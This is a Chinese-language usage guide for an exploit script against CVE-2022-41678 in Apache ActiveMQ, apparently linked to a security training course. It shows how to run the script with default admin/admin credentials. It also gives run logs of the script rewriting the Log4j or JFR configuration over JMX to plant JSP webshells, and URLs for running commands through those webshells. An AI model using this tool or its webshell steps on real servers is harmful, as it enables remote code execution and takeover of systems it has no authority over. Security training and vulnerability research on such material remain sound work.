
参考文档: https://app.nextcyber.cn/courses/41/tasks/580
CVE-2022-41678 是 Apache ActiveMQ 中的一个远程代码执行漏洞。该漏洞允许攻击者通过 JMX (Java Management Extensions) 接口修改 Log4j 配置或 JFR (Java Flight Recorder) 配置,从而写入恶意的 JSP webshell 到服务器的 web 目录中,最终实现远程代码执行。
此漏洞影响 Apache ActiveMQ 多个版本,具体受影响版本取决于 Log4j 和 JFR 配置的使用情况。
pip install requests
使用默认的 admin/admin 凭据和自动检测的利用方式:
python exp.py http://target:8161
也可以通过-u和-p参数指定用户名和密码:
# 使用 Log4j
python exp.py -u admin -p admin http://10.22.174.214:8161
# 执行结果如下
python exp.py -u admin -p admin http://10.22.174.214:8161
2025-10-14 22:53:54,115 - INFO - choice MBean 'org.apache.logging.log4j2:type=5faeada1' automatically
2025-10-14 22:53:54,334 - INFO - update log config
2025-10-14 22:53:54,467 - INFO - write webshell to http://10.22.174.214:8161/admin/shell.jsp?cmd=id
2025-10-14 22:53:54,655 - INFO - restore log config
除了默认使用的 Log4j 利用方式,还可以通过--exploit jfr参数指定使用 JFR 利用方式。
# 使用 JFR 方式
python exp.py -u admin -p admin --exploit jfr http://10.22.174.214:8161
# 执行结果如下
python exp.py -u admin -p admin --exploit jfr http://10.22.174.214:8161/
2025-10-14 23:16:35,978 - INFO - choice MBean jdk.management.jfr:type=FlightRecorder manually
2025-10-14 23:16:37,390 - INFO - create flight record, id = 1
2025-10-14 23:16:37,533 - INFO - update configuration for record 1
2025-10-14 23:16:38,167 - INFO - start record
2025-10-14 23:16:39,243 - INFO - stop record
2025-10-14 23:16:39,309 - INFO - write webshell to http://10.22.174.214:8161/admin/shelljfr.jsp?cmd=id
成功利用后,可以通过访问以下 URL 来执行命令:
# Log4j 方式写入的 webshell
http://target:8161/admin/shell.jsp?cmd=命令
# JFR 方式写入的 webshell
http://target:8161/admin/shelljfr.jsp?cmd=命令
例如,执行 id 命令:
http://target:8161/admin/shell.jsp?cmd=id
| 参数 | 简写 | 类型 | 默认值 | 描述 |
|---|
--username | -u | 字符串 | admin | ActiveMQ 控制台的用户名 |
--password | -p | 字符串 | admin | ActiveMQ 控制台的密码 |
--exploit | -e | 字符串 | auto | 利用方式,可选值:auto, log4j, jfr |
url | - | 字符串 | - | 目标 ActiveMQ 的 URL 地址(必需参数) |